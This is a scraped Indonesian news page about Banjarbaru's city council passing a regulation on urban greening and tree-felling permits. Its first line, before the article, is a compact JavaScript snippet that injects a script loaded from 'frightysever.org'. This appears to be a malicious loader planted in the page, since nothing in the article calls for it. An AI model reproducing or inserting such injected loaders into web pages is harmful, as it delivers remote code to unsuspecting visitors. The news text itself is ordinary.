(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: DPRD BANJARBARU

Perda Penghijauan Kota Disahkan, Diatur Perizinan Penebangan Pohon hingga Pemilihan Jenis Tanaman


KANALKALIMANTAN.COM, BANJARBARU – Peraturan Daerah (Perda) tentang penyelenggaran penghijauan kota menjadi salah satu dari 4 Perda yang disahkan DPRD Banjarbaru, Rabu (30/12/2020) siang.

Payung hukum yang mengarah pada sektor lingkungan itu, merupakan inisiatif para wakil rakyat di DPRD Banjarbaru. Dalam hal ini, Pansus III yang bertugas membahas dan mengkaji tentang aturan yang tertera dalam isi Perda tersebut.

Ketua Pansus III Takyin Baskoro mengungkapkan, pembentukan Perda tentang penghijauan kota ini dilatarbelakangi atas pentingnya pengelolaan, pelestarian dan perlindungan hasil-hasil penghijauan kota yang sudah ada. Sehingga, ke depannya tidak mengalami kerusakan.

“Untuk itu penting memberikan payung hukum bagi penyelenggaran penghijauan kota yang lebih terencana dan berkualitas, yang memungkinkan teejadinya sinergi yang lebih. Baik antara pemerintah dengan peran serta seluruh lapisan masyarakat,” jelasnya.

“Dengan adanya Perda ini, kata Baskoro, harapannya juga akan berdampak pada percepatan target Ruang Terbuka Hijau (RTH) secara nasional sebesar 30 persen,” lanjut Baskoro.

Sejumlah stakeholder di lingkungan Pemerintah Kota (Pemko) Banjarbaru juga turut terlibat dalam pembahasan Perda tentang penghijauan kota. Seperti halnya, Dinas Lingkungan Hidup, Dinas Perumahan dan Pemukiman (Diperkim), hingga Dinas Pekerjaan Umum dan Penataan Ruang (PUPR).

Baskoro menerangkan setidaknya 7 hal yang menjadi substansi di dalam Perda penghijauan kota. Salah satunya, mengatur tentang pemilihan jenis tanaman, dengan mengutamakan jenis tanaman lokal. Lalu ada pula, tentang ketentuan penanaman, pemeliharaan dan perlindungannya.

“Ada juga mengatur tentang ketentuan perizinan penebangan pohon dan pemindahan pohon. Ini cukup krusial, karena mengingat aksi penebangan pohon semena-mena kerap terjadi di Banjarbaru. Dengan adanya Perda ini, maka untuk menebang pohon harus melalui izin dulu. Jika tidak, ada sanksi yang dikenakan,” lugasnya. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.